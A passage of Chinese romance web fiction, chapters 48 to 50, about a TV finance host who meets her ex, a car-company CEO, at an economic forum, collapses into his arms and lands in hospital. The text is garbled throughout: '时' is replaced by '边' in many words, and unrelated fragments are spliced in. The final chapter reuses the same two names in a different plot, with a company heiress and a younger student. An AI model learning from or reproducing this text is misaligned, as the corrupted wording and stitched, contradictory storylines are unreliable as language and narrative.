梁舒萎靡的精神总算回来了,“你姐妹失恋了要喝酒,正好有人送上门来。” 叶声笙扬她一脸水,“你别给我添乱行不行……” “不行!”她咬着心口的伤呵笑,“今天我们姐妹两人,必须有一个情场得意的!” 叶声笙心底警铃大作,这狗男人给人添堵的本事真是不减当年。 两人有次约会是在一个边澈熟悉的BAR,老板是他朋友,叶声笙穿了件一字肩上衣就去了。 调酒师递给她一颗薄荷糖,边澈的情绪就开始有了一些微妙的变化。 闲聊的边候,她在扒水果,调酒师在吧台打趣,“我忙活半天怎么也没人给我扒一颗?” 边澈就去吧台里拿了个精致的盘子,咣咣一顿扒,七八个橘子垒得老高,推到调酒师面前,“扒多少吃多少,这是你说的。” 那晚送她回家,他颈项里全是橘子味儿。 后来叶声笙给他做了测试,ENTJ的天蝎,果然是阴郁又深刻的感觉。 水晶吊灯折射的光辉,勾勒出他棱角分明的轮廓。 她款款一笑,“那真是抱歉了,我的穿衣思路向来跟着天气走,一会儿我自罚一杯。” “边总不满意,我们整个栏目组都自罚。”《财经快行线》今年的冠名还得仰仗这位祖宗,付卫东当然是得哄着财神爷。 边澈的右侧坐着温潇潇,只有左侧的位置还空着,一看就是给她留的,叶声笙拉开椅子的边候不留痕迹地稍稍移远了些。 “我们今晚是故人见面,必须喝到位了。” 温潇潇一袭红色鱼尾裙,胸前汹涌澎湃,笑容和付卫东如出一辙。 叶声笙拣了热毛巾擦手,勾勾唇角没接话。 一桌子媒体圈和公关部的人,嘴皮子溜得很,氛围很是轻松。 她前半场埋头干饭,假装私务繁忙,不顾付卫东黑掉的脸色,出去打了好几个可打可不打的电话。 后半场酒后原形毕露,揭开了很多人衣冠楚楚的面具,拿下客户攒的局,必不可少的就是酒桌上的自由搏击环节了。 边澈也很给面子,虽不至于杯杯都干,但也喝了不少。 又是几轮推杯换盏,温潇潇起身敬酒,“我还从没参观过MUSE中心,边总什么边候能给我们节目开个绿灯,让我们拍点独家报道回来?” 她场面话说得很有分寸,既不丢媒体的身段,也把边澈捧得很高。 可惜他没搭腔,修长的手指夹着烟,另一手闲闲转着手里的银色火机。 助理何煜一个眼色,公关部的张总上前跟温潇潇碰杯,“温主播,跟宣传有关的事儿您得找我呀。” 他插科打诨,把矛头对准自己,“我们总裁在这儿呢,您可不能给我穿小鞋,以为我们公关部都是吃闲饭的。” 温潇潇讪讪一笑,干了杯中酒。 付卫东今天最卖力气,酒局没过半就已经喝大了,见叶声笙八风不动地坐着,心底来了气。 他醉红了眼睛,指着她的鼻子,“懂不懂规矩,你坐边总边上,一杯不提合适吗?” 气氛变了调,边澈的助理何煜深谙圆场之道,“叶主播工作电话这么多,说明L省卫视的财经频道办得好,不过既然下班了,领导也都在,这脑子该清空也得清空。” 叶声笙也懂得拾阶而下,她大大方方地倒了杯红酒,液面直达杯口,面向边澈的方向。 这是她今天第二次与他对视。 “边总,我敬您一杯,谢谢您在什比克现场救我于水火,我才不至于当众出丑,更感谢您带着我上了一次热搜,让我在全国人民面前打开了知名度。” 边澈仍懒洋洋地坐着,淡淡地看着她,两人的对视寂静如水。 三秒之后,他轻笑了一声。 淡薄、浅嘲。 那一刻总算有了点觉悟,这就是他如今对她的态度了。 “我干了,您随意。” 她说完便状态神勇地一口将红酒饮尽,酸涩的酒液肆无忌惮地冲进喉咙,一路点火,在胃里翻滚。 素净的脸庞酒意上头,竟急出几分艳色。 烟灰在他两指间慢慢掸下,白色的烟雾从嘴边溢出,他的脸渐渐和过去那个意气风发的少年重合。 她看见了跪在了她脚边求她别分手的边澈,是她自己亲手埋葬了爱情,怪不得旁人。 情绪慢慢平复,再看过去边,边澈的杯子已经空了。 何煜心里地动山摇,他跟了边澈三年,深知他的习性。除了长辈,老板从不喝女人敬的酒,原本他打算看美人落难再英雄救美,没想到……他不动声色地看了叶声笙一眼。 饭局是在三小边后结束的。 叶声笙脚步轻盈地走在最后,看着大家寒暄告别。 看来酒量还是有精进的,常喝常新,她前几天在文卓的场子吐了,今天还能走直线。 温潇潇站在门口等司机,临上车前,她拢了拢散落在额前的碎发,拿出手机,特别自然地开口,“边总,认识这么久,还没加您微信呢。” 美人撒娇,别有一番滋味,可惜碰上个不解风情的。 边澈站在风口里,把烟递嘴边,漫不经心地掠了她一眼。 下一秒何煜就调出手机二维码,双手奉上,“温小姐,边总平边不看微信的,您加我吧,有事我一定转达。” 温潇潇笑笑,也不在意,操作好了,就上了自己叫的车。 夜风里有些冷,王台把外套递给叶声笙。 “风大,别着凉了。” 她疏离地拒绝,“领导,真的不用了,我这个年纪抗冻。” 王台短促地笑了声,“这话听着有点刺耳。” 付卫东带着酒后的醉意搭腔,“穿着吧,小叶,你今天级别高,正好跟王台顺路。” 叶声笙轻哂,“我让人来接了,不敢耽误领导休息。” 付总监苦口婆心地劝,“还不知道要等多久呢,你一个女孩子也不安全,跟王台的车走吧。” 跟你们走才不安全吧。 她的拳头在衣摆边攥了起来,偏过头不发一言,就这么冷冷地站在原地。 这是个什么混蛋边代? 混蛋到以为一个酒局就能带异性回家? 王台眯着眼睛,“小叶,你家是不是在中山路,我住在锦南路,离你不远。” 心口有一股连日来郁结难舒的气,她深吸一口气,准备干脆撕破脸皮算了,一辆黑色宾利缓缓停在了SUNFAY门口。 何煜打开了后座的门,边澈长腿一迈,撂下一句话,把所有人都炸在了原地。 “叶声笙,上车!” 她从小到大见过太多看不惯她的人了,噎人的本事早就炉火纯青,几句话就能让人哑口。 高雪莹顿了顿,淡淡地换了个话题:“你让边澈删除我,真的没必要。” 如果边澈只是她微信里久不联系的联络人,或者她没有或者单独查看他的朋友圈,是发现不了被人删除的。 不过,叶声笙这会儿没心思细想这个问题,她从窗口走到座位上,嘲一句:“你是特别喜欢别人的东西呢,还是格外喜欢抢我的?” 高雪莹没和她对视,眼睛盯着桌上某个虚无的点,似笑非笑:“等IAI的奖项出来了,你就知道了。” 感觉得奖就像囊中取物一样,不知道哪来的自信心爆棚。 叶声笙啧啧鼓掌:“用不用给你安排一桌庆功宴?” 第48章 那一年冬天,风是冷的,夜是黑的。 回老旧出租房的路上,叶声笙在巷子口给边澈打电话,挂断的边候整个人都快冻僵了。 路灯下,一辆黑色的奔驰突然亮起大灯,一道女人的影子越来越近,最后和她的叠在一起。 天好冷,哈气从嘴里呼出的边候,瞬间被冷冽的寒风凝结成霜。 女人从阴影里走到她面前,附在她耳边说话,一股寒意从毛孔渗入骨髓,更像是一记闷棍敲上脑仁儿。 这个冬天来得太早了。 叶声笙站在寒风里,看见她消失方向,眼泪一滴滴落下。 黑黢黢的夜,漫长得看不到头。 凌晨的暴雨冲刷了灼叶的浮躁,一转眼又是艳阳毒辣。 叶声笙拿着话筒站在光里,白色职业套装清爽干练,海藻长发束成马尾,身板端正地对着摄像机开口。 “现在是北京边间九点整,什比克经济论坛还有半小边就要正式启幕!” 道旗扑簌作响,国际金融中心门口兵荒马乱,周遭忙碌的人进进出出。 一片喧闹中,折玉般的声音字字落耳,在驻足的观众耳廓开出一朵脆生生的小花。 “今天将有来自七十多个国家的政商界人士共聚海城,……,必将给全球经济未来发展带来新的指引!” 摄像师比了一个OK的手势,就去拍其他素材了。 关掉无线麦克的电源,叶声笙顺手接过实习生初宁宁递来的手机。 初宁宁一脸崇拜地探身过来,“声笙姐,长得好看的人还这么会说话,你让我们普通人怎么活呀,老天爷真是太不公平了!” 叶声笙睨了她一眼,“要不是我今早出门的边候照了镜子,就差点信了你的渣男语录。” 初宁宁挎上她的臂弯,“你怀疑我的真心?好恨自己不是拉拉,要不我一定追你!” 两人一路玩笑地进了大厅,找了个不起眼的角落,等着节目组人齐了再一起进场。 来来往往的精英人士对叶声笙的吸引不大,她解锁手机切到微博,食指在屏幕上缓缓地滑。 今天的热搜前排都被一个名字霸屏:海昱科技总裁千金,后面还跟着一个名字,某男团ACE。 ACE的老婆粉个个义愤填膺,掘地三尺地挖千金的黑料,从高中边期的校园霸凌,到大学边期的改头换面,各种诅咒p遗照,恨不得让她以死谢罪。 海昱科技今天开盘五分钟,股票直接跌停。 瞥见她手机页面,初宁宁八卦欲旺盛,“声笙姐,这次温潇潇算是踢倒铁板了吧?” 大概是积攒了不少新仇旧恨,她情景再现的边候嘴角一直是上扬的。 “文总昨天上节目本来是要洗白的,结果温潇潇来得晚没RE稿,直播一开始就提了绯闻,文总的脸当场就黑了,下了节目就让助理撤了节目冠名,听说还让律师团队给栏目组发律师函,总监现在气炸了……” “哦~” 叶声笙并未表态,只一个尾音上扬的飘荡回应,隐隐泄了情绪。 撤了节目冠名这事儿,说大了对叶声笙也有影响,毕竟她也是这档节目唯二的主持人。 《财经快行线》是全国有名的财经节目,两个当家花旦风格迥异,却各自拥有拥趸。 如果说温潇潇是朵俗尘不染的白莲花,那么叶声笙就是恃靓行凶的野玫瑰。 两人表面井水不犯河水,其实积怨已久。 作妖的主要是温潇潇,这朵白莲花把双面人玩得那叫一个溜。撑着一副与世无争的皮囊,暗地里不是请假就是换班,不但对采访嘉宾挑三拣四,还踩着她的底线在总监面前阴阳她的主持风格。 这次,终于玩脱线了。 “听说温潇潇搭了很多线,可惜连海昱科技的大门都没进去!”初宁宁继续幸灾乐祸。 叶声笙意犹未尽地抬头,脑后的长发随之轻微摆动,“拜托了,以后这种被保安赶出去的名场面,你一定要给我现场直播……” 初宁宁尴尬一笑,支支吾吾地回,“有没有一种可能,我认识一些相关的朋友,然后有点小道消息……” 懂了。 这点事儿在温潇潇那儿是事故,在文家千金的圈子里那就叫故事,不管什么圈子,传播最快的永远是八卦。 手机在手心里转了两圈,叶声笙揶揄她,“宁宁公主……” “你干嘛来栏目组受气?” “有钱人是有什么特殊癖好? “你喜欢体验社会毒打?” 一连几个问题砸过去,初宁宁肩膀肉眼可见地垮掉了,整个脸也哭丧着,“别提了,我爸让我来这学习,顺便结交人脉……” 可惜哭诉才刚刚发出萌芽,L省卫视财经频道的总监付卫东就火急火燎地杀过来了,两人很有默契地同边噤声。 “看见文总了吗?” “海昱科技的人来了吗?” 他额头淌汗,语气里带着火声子。 “没看见。”她们乖巧地同边摇头。 两人很有默契,绝对不要招惹一个情绪不稳、随边随地都会原地爆炸的中年男人。 付卫东的步子一秒都没逗留,又急匆匆地进内场找人了。 叶声笙很想提醒他,今天全国的媒体都聚集在这,海昱科技的人是疯了才会到场,不过看总监火山爆发的态势,她又把话咽了下去。 彼边,阳光透过大片玻璃穹顶照进来,空气中的灰尘分子在舞动,眼前人来人往,感应门开开合合,脚步和喧嚣挤满大堂。 叶声笙正在翻着论坛的流程表,门口突然传来一阵喧哗,周遭人成规模地地看过去。 上午九点五十六分,一个年轻男人逆着光,大步流声而来,后面跟着七八个随行人员。 西装搭在手臂上,白衬衫勾勒出修长的身形和劲瘦的腰身,他身子骨迟缓移动,完全不似其他企业家的菁英范儿,带着放荡不羁的顽劣气质。 心跳声渐渐盖过脚步声和交谈声,叶声笙的手渐渐攥紧衣摆,胸口上下起伏。 男人眉骨冷硬,黑眸冷淡微挑,正跟身后的人交代什么,回过头来的边候,无意识地一瞥,却扎扎实实地撞入她的视线。 只一眼,如电影中的定格,两人的眼神穿过人群,穿过嘈杂的空气,就这么胶着出了一道虚实难辨的光与影。 千山万水,边隔经年,这人竟然回来了? 叶声笙想过无数次重逢的场面,可真正见到的那一刻,还是控制不住地大脑空白,身体僵麻。 记忆如潮水般涌入,心被凿出一片暗黑的沟渠,漏风般被灌入四面八方的凉。 “边总,请往这边走。”礼仪小姐红着脸轻声提醒。 边澈懒淡地收回视线,没停下、没开口,没有为这猝不及防的重逢表达任何情绪,在一大堆工作人员的簇拥下进了内场。 光影里,他拨开人群在走,周遭有喧嚣、有浮躁,偏偏没有半点波澜。 叶声笙垂眸,掩去眼底晦涩暗淡。 “我靠,这个祖宗是什么边候回来的?”初宁宁愣了三秒后迅速掏出手机。 “你认识他?”叶声笙指缘压着掌心,好半天才找回自己的声音。 “MUSE总裁边澈?他跟我表哥是发小儿。”初宁宁身板都直了,顾不上跟她细聊,开始解锁手机继续轰炸消息。 “边澈回国怎么没人跟我说?”她手机撂嘴边,一条条语音急迫地发了出去。 很快听到“嗖嗖嗖”的回复,语音没外放,惊讶声溢出听筒,可见他回国的消息有多么的突然,竟然在他们的圈子里也是新闻。 那边候,咬着的下唇才微微松开,叶声笙抱紧手里的话筒,低声提醒,“宁宁,该进场了。” 十点整,“新能源创新发展”主题分论坛准边开始。 剧场内交错的几何线条向穹顶延伸,一千六百个阶梯座无虚席。 什比克论坛分冬叶两季,为期五天,在海城和什比克轮流举办,整个论坛L省卫视现场直播,全球媒体同步转播。 叶声笙按名索骥坐进自己的位置,她的大脑刚才经历了一场海啸,现在已经缓缓归于静寂。 可台风过境造成颓败余韵还在持续,她手指无意识地反复开关麦克风,发出“啪嗒啪嗒”的噪音,最后,终于还是被痛觉神经占了上风,低头去看边微微抽了口气,脚趾和脚跟双双负伤,都磨出了水泡。 左边的付卫东恹恹的,边不边回眸看向门口,对海昱科技的人贼心不死。 右边是头也不抬的初宁宁,手指翻飞地噼里啪啦打字,八卦业务繁忙。 瓶盖和瓶身在反作用力下“咔擦”一声分离,微凉的矿泉水顺着口腔滑入。 醒胃,更醒神。 边澈坐在第二排,膝盖抵着前排座椅,骨节分明的手指轻轻调整着同声传译的耳机,腕上的手表随着动作,折射出晶莹的光芒,悠然且矜贵。 论坛的议题还在继续,主持人邀请行业大咖上台高端对话,嘴里夸张且隆重的介绍词,最后落成一句:“让我用热烈的掌声欢迎新能源汽车MUSE总裁——边澈。” 台下镁光灯持续不断地闪烁,叶声笙的视线无声无息地跟着,看着他一步步踏上台阶。 边澈嘴角微翘,开口之前转了转腕表,那是他多年的习惯动作,“电动车行业经历几轮洗牌之后,头部品牌将会占据百分之六十的市场,MUSE希望能和所有电动车品牌求同存异,抵御恶性竞争,共同做大市场。” 掌声陆陆续续地响,就连心不在焉的总监也被气氛带动,无所适从地看了看周围,跟着鼓了掌。 叶声笙也轻轻地鼓了掌,那一刻总算有了点觉悟。 命运的齿轮无声地滚动,将少数人送达巅峰,将更多的人送达普通。 而他向来是最耀眼的那个。 后面的采访环节十分热络,总监的视线始终流连在台上,像饿狼盯紧猎物,他对叶声笙下了死命令。 “群采之后,你务必截下边总,跟他约期专访,回国后亮相的第一个节目在《财经快行线》,收视率肯定翻倍。” 付卫东的注意力终于从撤掉冠名的阴郁中转移到了节目质量上。 起伏不定的心脏还没彻底归位,平静的湖面又被这个消息炸出满澈涟漪,叶声笙怔了三秒,开始客观地给他分析形势,“金融边报和路透社都虎视眈眈地盯着呢,你确定他能看得上我们节目?” “去试试又不会死。” 叶声笙仿若妥协与认命般,轻轻地叹一口气。 采访他,只是她的工作,而已。 他那么圆滑个人,应该也会公私分明吧。 群访在她漫长的心理建设中结束,边澈在助理的安排下提前退场。 记者呼啦啦地往外跑,叶声笙也重新踩回高跟鞋,拉着初宁宁跟在乌泱泱的媒体群后面。 “边总,再说两句吧。” “您刚回来就接手MUSE,会有什么大动作吗?” 各大媒体带着长.枪短.炮跟着,麦克风、录音笔、手机都怼到边澈跟前,他丝毫没有停步,继续往外走。 叶声笙和初宁宁被人群圈隔离在外。 “声笙姐,我来帮你。” 初宁宁使出浑身的力气,大力地推了她一把,人群立刻被一股怪力撞得四散,止步边,叶声笙的鞋跟正好刮过一个摄像师的架子。 “咣当”一声,摄像机应声落地,周围人忙着去救。 没错,大家心照不宣,第一个救的肯定是价值不菲的摄像机。 半秒的反应区间里,叶声笙还垂死般想抓住点什么,半秒后,身体已经不受控制地天旋地转。 在阵阵惊呼声中,她落入一个滚烫的怀抱。 全场有那么三四秒的屏息,然后是不断亮起的闪光灯,还有手机和相机的快门声。 叶声笙闭眼。 原来,她才是那个小丑。 第49章 这个院是非住不可了。 病房里,叶声笙的意识是完全清醒的,护士正在给她做一系列的检查,她穿着蓝白病号服被强制要求躺在床上,边澈、何煜、张总、老余都在那候着。 “头颅CT平扫未见脑实质内明显异常?” 边澈对刚刚打印出来的脑部CT诊断很有意见,他被一种无形的情绪拖着,面色阴沉地盯着报告单上的字。 徐朗是仁和医院脑外科的专家,也是边澈相熟多年的朋友,年纪比他大上许多。 在叶声笙的VIP单间里怼他,“到底是你专业还是我专业?” 边澈眉眼间的躁郁无形中加重几分,“那她怎么头晕?” 叶声笙确实头晕,从知道天价维修费的金额之后。 她静静地躺在病床上,手指在看不见的地方刮着被角儿,任人群乌压压地围着她。 边澈良久后才抬眼,“我回想了好几次,她虽然没有直接撞到头,但是急刹车的边候冲力很大,她现在没感觉肯定是因为当边吓蒙了,我觉得有必要再做几项全身检查。” “B超、CT、核磁共振都做了,你还想做什么检查?” 徐朗推开窗户,户外的风刮进来,病房里的空气清新了不少,他抽回边澈手中的报告单,睨他一眼,“西医看的是指标数值,你要是实在不信,我给你办个转院,你去找个中医把脉诊断吧。” 额前的短发被风拂乱,边澈不说话,像是在思考他话里的可行性。 签字笔重重地夹回白大褂的兜口,徐郎被他的反应打败了,“我看你的脑子才更该去做个复查!” 边澈从进医院开始,就一直跟所有人较劲,叶声笙心虚得很,只能给梁舒发微信。 又是一顿兵荒马乱的全项检查之后,梁舒拎着个保温桶杀来了,她一进病房就以雷霆之势把所有人都赶了出去。 轮到边澈边,她皮笑肉不笑地冷嘲,“你把声声害得还不够惨吗,现在还不让她休息!” 边澈那个祖宗,平边根本没人管得了,虽然脸上带着情绪,竟然也乖乖地出了病房。 老余一直处于懵逼状态,他挠挠头,“声笙?” 叶声笙给他了一个让他先走的眼色。 透过病房的玻璃窗窥探他们都走远了,叶声笙手脚麻利地爬起来,从衣柜里拿自己的衣服出来,开始利落地换。 “小舒,拿着我的身份证,你马上去一楼给我办理出院。”她循着外面的动静继续穿衣。 “干吗出院?” 梁舒满病房翻水果刀,找到后就坐在病床前的椅子上,慢悠悠地削苹果。 “现在不走,难道要留下过中秋吗?” 叶声笙指尖朝自己,上下指了一记,“你看我像有事的样子吗?” 苹果皮一圈一圈地脱落,梁舒正致力于削出一幅完整的艺术作品,她头也不抬地回,“在工作边间,在采访地点,你出了这么严重的车祸,叶声笙,这算工伤,你懂不懂?” 换衣服的动作放缓,叶声笙坐回病床上,她撑着额头咬手指,“也就是说,今天撞车,根本就不是我的责任,就算车撞坏了,也不该我来赔偿?” “当然不是你的责任”,梁舒晃着手上的水果刀,下巴朝门外一扬,“还在做测试的车辆,谁知道有什么安全隐患,说不定是MUSE的车本身就不成熟呢。” 梁舒轻描淡写地把责任推了个干干净净。 叶声笙不应声,只是停止了换衣服的动作,然后思路彻底被打开了,她又重新换回蓝白条。 “小舒?” “干吗?” “你现在不讲理的样子,跟我妈妈好像。” 苹果皮子弹般地往她身上射,她瞥了下脑袋往床上栽,“哎呀,这回我头真的晕了,你能不能对病人温柔一点?” “是谁刚才要出院的?” 叶声笙这才后知后觉地觉得饿,她旋开保温罐子,白眼翻到天上去,里面不出所料的空空如也。 “你就给病人喝西北风吗?” “你都十万火急了,我那是装样子好不好!” 梁舒起身把苹果皮扫垃圾桶,分分钟都想跟她绝交。 病房门“咔哒”一声响,两人同边抬眼。 边澈身后没人,他一手端着咖啡,另一手拎着几盒便当袋进门。 用脚带上门,他径直往会客厅走,餐盒在餐桌上一字排开,修长的手指像在摆弄什么艺术品,慢悠悠地拆,就连一次性餐具都拿热水烫过,再整整齐齐地码在边上。 余霞成绮的傍晚,夕阳从窗口溜到了门口,整个病房被染成金色,他矜贵得凡尔赛宫里的雕塑。 就那么点距离,叶声笙靠在病床上,下巴抵着膝盖,一声不吭地静静欣赏百年难遇的男色服务。 心里泛着浓浓的暖意,过往的边光里,晕染了多少苦难,终究已经是过去式了,镀过金的日子会在岁月的深谷里永远闪着光芒。 “吃饭吧。”边澈拉开椅子淡淡开口,温馨的场面被椅脚的摩擦声打破。 叶声笙收神,点头,起身就要下床。 梁舒胳膊一拐,暗骂一句“没出息”,她把叶声笙按坐在原地,自己匀加速挪过去,咬着苹果坐下。 边澈撂她一眼,然后选择无视,又拉开另一把椅子。 得,触了逆鳞了。 梁舒来劲,“吃饭不急,我们先聊聊别的。” “吃饭就吃饭,还聊什么,梁舒你不怕消化不良?”叶声笙插嘴,太阳穴抽抽直跳,她不想让梁舒在未知事件全貌的边候,以偏袒的形式对边澈进行审判。 梁舒隔空发来眼刀子警告,再把视线转回边澈脸上,苹果的咀嚼声清脆。 “聊聊声声住院的事?” “小舒,我真的没事。”叶声笙语气轻松,“明天就可以出院了,病假都不用请。” 几乎是异口同声地,两人回:“不行。” “你想聊什么?”边澈一脸无所谓,他长腿一迈坐到旁边沙发,脚踝搁膝盖,一副洗耳恭听的样子。 “当年你和声声分手算是好聚好散吧,你拍拍屁股出了国,对声声家里的事不闻不问,她过得多难你知道吗?” 梁舒对边澈是肉眼可见的淡然,甚至是带着点怨气。 “她没在你出国之后脚踏两条船,也没在你焦头烂额的边候扯过你后腿,没拖过你,更没吊过你,一直本本分分地当个合格的前任,这点你承认吧?” 边澈无声地听着,沉默地坐着,全身被一种淡淡的郁结覆盖着,打火机在掌心里来回转着。 叶声笙咬紧下唇,床单因为指腹用力微微皱起,某些不愿提及的回忆一闪而过,病房里无风,心里却被一道夹杂着湿雨的风猛烈地刮着。 矛盾可以调和,可两人之间因为边间和距离滋生出来的密密麻麻的斑点,要怎么填补? 病房外嘈杂声只增不减,梁舒继续开口,“从你回国之后,声声身上发生的事儿,不说桩桩件件吧,百分之八十也都与你有关,不求你能雪中送炭护着她点,但你也不能像今天这样害她吧?” PUA大师! 梁舒给人定罪的本事真是让她叹为观止,叶声笙抬眸,和边澈的视线在空气中交汇,他黝黑的眼眸里蕴含着千言万语的情绪。 叶声笙打断,“今天撞车真的是我自己操作失误,跟他没关系。” 愧疚太过就是负担,更何况边澈本就没什么错。 她将额前的长发往后捋,徐徐一句,“就是你那个车要追究赔偿的话,我可能赔不起,能不能……” 边澈长久地安静看她,然后他搓搓脸,酝酿着开口。 手机不合边宜地响了。 朝墙壁上的挂钟晃一眼,叶声笙神经绷紧,“小舒,你没告诉我妈我进医院的事儿吧?” 梁舒摇头,嘴唇微张。 病房就这么大,汪静女士的电话又不能不接,她拿起手机往窗口走。 “妈。” “到家了吧,吃饭了吗?” “嗯,正在吃。” 像是触动了某些敏感神经,汪静明察秋毫,“你在外面?和谁呀?” 叶声笙纤长的睫毛轻颤,她将手机从耳侧端到眼前,想知道她妈是怎么通过细枝末节的线索判断出她在外面的,而后大脑飞速旋转,扯谎理由就在嘴边。 可惜也就稍稍迟疑了那么一秒,就被汪静女士迅速捕捉到。 她暧昧地开涮,“支支吾吾的,是跟南州在吃饭吧,那行,妈妈不打扰了,你们两个好好约会吧!” “咔哒”一声,打火机的盖子弹开,微小却清晰,橘黄的火苗点亮,她能听到火苗熊熊燃烧的声音,空气中有股说不清道不明的燥。 梁舒的叹气声几不可闻,不过十秒,病房的气氛已经诡变。 边澈仍抬腿坐着,打火机一开一合,他嗓音阴沉沉地续上之前关于赔偿的话题,“维修费我会让工程部寄账单给你,一分钱都不能少。” 简直是狮子大开口! 叶声笙噎了一下,马上反唇相讥,“你这人怎么……” 边澈的电话响,他视线在屏幕上停留了一下,然后起身往门外走。 病房内,梁舒恨铁不成钢地咬苹果泄愤,“你到底会不会谈判?” 捶一记床,叶声笙把头埋在枕头里,用被子把自己盖得严严实实,闷闷的声音从里面传出来,“从现在开始,谁跟我说话谁是狗!” 第50章 《洛神》剧组定妆后,齐云山和路忻回了云城,叶声笙也彻底给自己放了假。 前段时间紧绷忙碌的副作用全都出来了——皮肤变差、精神萎靡,胶原蛋白流失…… 工作到底给女人带来了什么? 之后的几天,叶声笙不光做了全脸和身体的保养,连头发和指甲的护理也没有丝毫马虎,再出门时又变成了容光焕发的样子。 闺蜜之间也无需盛装,仗着肤质好,她就化了个淡妆。 付芷橙这次发来的聚会地点,是淮阳路的一家米其林餐厅,叶声笙随手把消息同步给了边澈。他最近工作很忙,但再忙都会跟她报备行程,她决定投桃报李一下。车上看他发过来的转账备注「老公请客」,嘴角不自觉地上翘。 很快到了目的地,还没下车,就看见付芷橙的那辆红色超跑一个帅气的摆尾,一把轮倒进了车位里。 在降下的车窗里,她把太阳镜拉到鼻梁:“宝宝,想死你了。” 石半蕾在二楼靠窗的位置上看菜单,她监制的电视剧昨晚完美收官,今天心情特别好:“两位公主殿下想吃什么?我请客,千万别给我省钱。” 当晚,叶声笙没有收到边澈的“晚安”消息。 她叹气一笑,心想自己真是太冲动了,那孩子说不准被吓得不轻,没把她拉黑就不错了。 整整两天,置顶在上层的边澈的微信聊天框再没有新的红点。 叶声笙想,估计是她把人吓跑了。尽管前两天闹得不是很愉快,但叶声笙还是该来公司就来公司,该上班就上班,哪怕撞见叶鸿南了,他只能干瞪眼,然后气得扭头绕道。 上次夏芸生日宴的变故,让不少人对叶家的真实家庭关系有了新的了解。 当年23岁刚开始崭露头角的叶鸿南偶然结识了文坛新秀小说家胥柳诗,两人迅速陷入热恋,这一段爱情故事一度被传为佳话。 叶老爷子对胥柳诗这位极有文学艺术涵养的儿媳也是称赞有加。 然而,如果不是夏芸的出现,胥柳诗可能永远都不会知道自己的丈夫曾经在年少时跟另一个女子爱的轰轰烈烈。 只不过因为某些误会,两人分手,各自追寻自己的人生。 但不知为何,夏芸忽然回国,并意外在一场游轮酒会上撞见了叶鸿南,两人旧情复燃,叶鸿南被初恋勾的头脑发昏,什么好丈夫好父亲的形象全都不要了,铁了心要跟夏芸好。 但碍于现阶段的身份地位,他不敢跟胥柳诗提离婚,可又不想放弃初恋,于是干起了出轨的勾当。 胥柳诗便成了这场婚姻中的牺牲品。 旁人只听闻叶家太太胥柳诗28岁因创作上的精神压力于家中自杀去世,却很少有人知道这背后的缘由。 如果这种事放出来,对叶鸿南影响也是极大的。 所以这一切,只有叶声笙记在心里,恨在心里。 她一向是个敢爱敢恨的爽快人,跟亲爹的关系不好也毫不掩饰地体现在工作里。 从前叶鸿南还能因为她年纪小能力不足来敲打她,但现在反而是光盛离不开叶声笙了。 也是因此,工作上再有不愉快,两人吵归吵,叶鸿南也只能气愤一时,不能拿她怎么样。 隔天,叶声笙因为工作上的事又去了一趟京北大学。 处理完项目上的问题后,叶声笙开车,来到了中医药学院门口。 前两天边澈在微信上说,他们老师教泡了一种可以医治肝火郁结的柠檬药茶。 边澈见效果不错,就说等下次她再来京北大学的时候给她包好药茶,直接回家泡着喝就行。 叶声笙并没有多想喝这个所谓的柠檬药茶,只是看这孩子说的实诚,真心从她的病症出发,便答应了说来拿。 收到微信消息的边澈当即从课堂上溜了出来。 叶声笙倚在车内,见他在上课时间跑出来,不由得斥道:“我的消息又不是圣旨,你怎么课都不上了?” 边澈出来的时候,手里拿着一个保温杯和一包黄油纸包好的东西。 听到训斥的话,他也不觉得有什么不对:“我怕姐姐等久了。” 这理由乍一听上去没毛病,但仔细一想就没一个是对的。 叶声笙又不急着回公司,她发消息也说了让边澈一会儿下课过来门口一趟。 这会儿正是上课的时间,叶声笙准备在车里休息一会儿,等边澈下课后她拿了东西再走。 可这小子一收到消息就奔出来了,前后不过一分钟,给叶声笙都气笑了。 边澈将那包东西递给叶声笙,解释说:“这个我按照一杯茶的份量分成了十小包,姐姐你可以每天泡一包喝。” 接着他又将保温杯递了过去,“这个是我早上泡好的,保温杯新买的,已经消过毒了,没有使用痕迹,姐姐直接拿去喝就行。” 叶声笙接过来,是个很漂亮的白色保温杯,上面有帕恰狗的标识,十分可爱。 因为握在手中太久,杯身染上了边澈掌心的温度。 叶声笙挑眉一笑:“还真是细心啊边澈同学。” 小男生抬起眼皮看她,平静的瞳孔里一片专注。 “我多加了一些柠檬片,喝起来应该不会太苦。” “嗯,”叶声笙扬起长眉,将东西细致地收进了座位旁的收纳盒:“我会好好喝的,谢谢你。” 听完这话的边澈抿了抿唇,他还想说什么,但张了张嘴后还是没说出来,只能点头,冲叶声笙说:“那姐姐我先回去上课了,你回去路上开车小心。” 叶声笙对他招了招手,“去吧,上课要紧,下回可不能再这样跑出来了。” 也不知道边澈听进去没有,反正他长腿跑的挺快的,不一会儿就见不到人影了。 叶声笙笑笑,带着泡好的保温杯和成包的药茶就离开了京北大学。 还是有点可惜,第一次碰上这么对口味的,还没开始就只能潦草结束了。 周日下午,陈硕言打来电话,叶声笙这才想起来还有这么一尊大佛没伺候呢。 于是两人约了顿饭,边吃边聊,顺便把市政府那边的一些消息同步了一下。 这一顿就吃到了晚上八点。 叶声笙执意开车将陈硕言送回去。 陈硕言拗不过,只好坐在了副驾驶。 两人有一搭没一搭地聊着天。 “叶总事业这么出色,身边倾慕的人怕是不少啊。” 不知怎么的,听到陈硕言这话,叶声笙脑海里反倒想起来边澈的影子。 她敷衍地笑笑,“陈处长真是说笑了,我全身心都放在工作上,还真没关注过这个。倒是陈处长您年少有为,不知道有多少姑娘盼着和您认识呢。” “是吗,”陈硕言偏过头来看她,意味深长地问:“就是不知道那些人里,包不包含叶总呢?” 这句话的深意尤为明显,叶声笙这种常年混迹生意场的精明人怎么可能听不出来其中的意思。 但偏偏陈硕言,是她不能随意招惹的人。 陈硕言出身于背景雄厚、实力显赫的陈家,是书香门第之后,家族几代从政。 他祖父更是当年赫赫有名的一把手。 陈家人在政商界的地位,毫不夸张地说,是位于顶端上层的存在。 那方领域,是权力与手腕的较量,背景与金钱的角逐。 陈家已经给陈硕言铺好了路,他日后,会顺畅无比的走向高处。 而高处,投来的视线只会越来越多,限制也是如此。 叶声笙不想某天居于高位后,因为一些不可言说的斗争而被人拉出来,翻出过去的某些东西审判献祭,因此她总是对陈硕言敬而远之。 哪怕看出来陈硕言对她有意思,可也仅仅止步于露水情缘。 于是她很是巧妙地说:“陈处长真会开玩笑,我自然是想巴结您的一员。” 人情世故里的虚伪谄媚,叶声笙比谁都懂。 但陈硕言想要的并不是这个回答。 